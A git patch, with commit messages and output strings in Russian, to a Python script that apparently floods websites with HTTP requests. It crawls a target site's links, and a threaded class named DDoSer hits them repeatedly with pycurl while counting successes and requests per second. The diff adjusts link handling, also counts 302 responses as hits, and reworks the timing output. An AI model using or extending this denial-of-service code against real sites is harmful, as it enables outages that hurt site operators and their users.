From 83fd2ca73764680c4e8d506aee54189d9a72a481 Mon Sep 17 00:00:00 2001 From: Llloooggg Date: Fri, 8 May 2020 22:02:59 +0300 Subject: [PATCH] =?UTF-8?q?=D0=98=D1=81=D0=BF=D1=80=D0=B0=D0=B2=D0=B8?= =?UTF-8?q?=D0=BB=20=D0=BF=D0=B5=D1=80=D0=B5=D0=B4=D0=B0=D1=87=D1=83=20?= =?UTF-8?q?=D1=81=D0=BE=D0=B1=D1=80=D0=B0=D0=BD=D0=BD=D1=8B=D1=85=20=D0=BA?= =?UTF-8?q?=D0=B0=D1=80=D1=82=20=D1=81=D0=B0=D0=B9=D1=82=D0=B0?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- __init__.py | 18 ++++++++++-------- 1 file changed, 10 insertions(+), 8 deletions(-) diff --git a/__init__.py b/__init__.py index 1fb752d..9fdcd0d 100755 --- a/__init__.py +++ b/__init__.py @@ -17,7 +17,7 @@ script_path = os.path.abspath(os.path.dirname(sys.argv[0])) if not os.path.exists(f'{script_path}/maps/'): os.makedirs(f'{script_path}/maps/') - + def url_grab(full_url): @@ -25,15 +25,16 @@ def url_grab(full_url): with open(f'{script_path}/maps/{url}', 'r') as f: subUrls = f.read().splitlines() - else: + else: subUrls = link_extractor.extractor('http://' + url) - os.mknod(f'{script_path}/maps/{url}') with open(f'{script_path}/maps/{url}', 'w') as f: for link in subUrls: print(link.strip(), file=f) + subUrls = list(subUrls) + print(datetime.now().strftime('[%X] ') + 'Карта сайта получена') return subUrls @@ -51,7 +52,8 @@ class DDoSer(Thread): curl.setopt(curl.URL, self.url) curl.setopt(curl.WRITEFUNCTION, lambda bytes: len(bytes)) curl.perform() - if curl.getinfo(pycurl.HTTP_CODE) == 200: + responseCode = curl.getinfo(pycurl.HTTP_CODE) + if responseCode == 200 or responseCode == 302: requestCountSuccess += 1 curl.close() requestCountExecuted += 1 @@ -96,10 +98,10 @@ if __name__ == '__main__': while requestCountExecuted < requestCount: bar.update(requestCountExecuted) - endTime = time.time() - startTime - print(endTime) - + workTime = time.time() - startTime + print( + f'{datetime.now().strftime("[%X]")} Время выполнения: {workTime}c') print( f'{datetime.now().strftime("[%X]")} Успешных запросов: {requestCountSuccess}') print( - f'{datetime.now().strftime("[%X]")} Средняя скорость: {round(requestCountExecuted / endTime, 2)} з/с') + f'{datetime.now().strftime("[%X]")} Средняя скорость: {round(requestCountExecuted / workTime, 2)} з/с')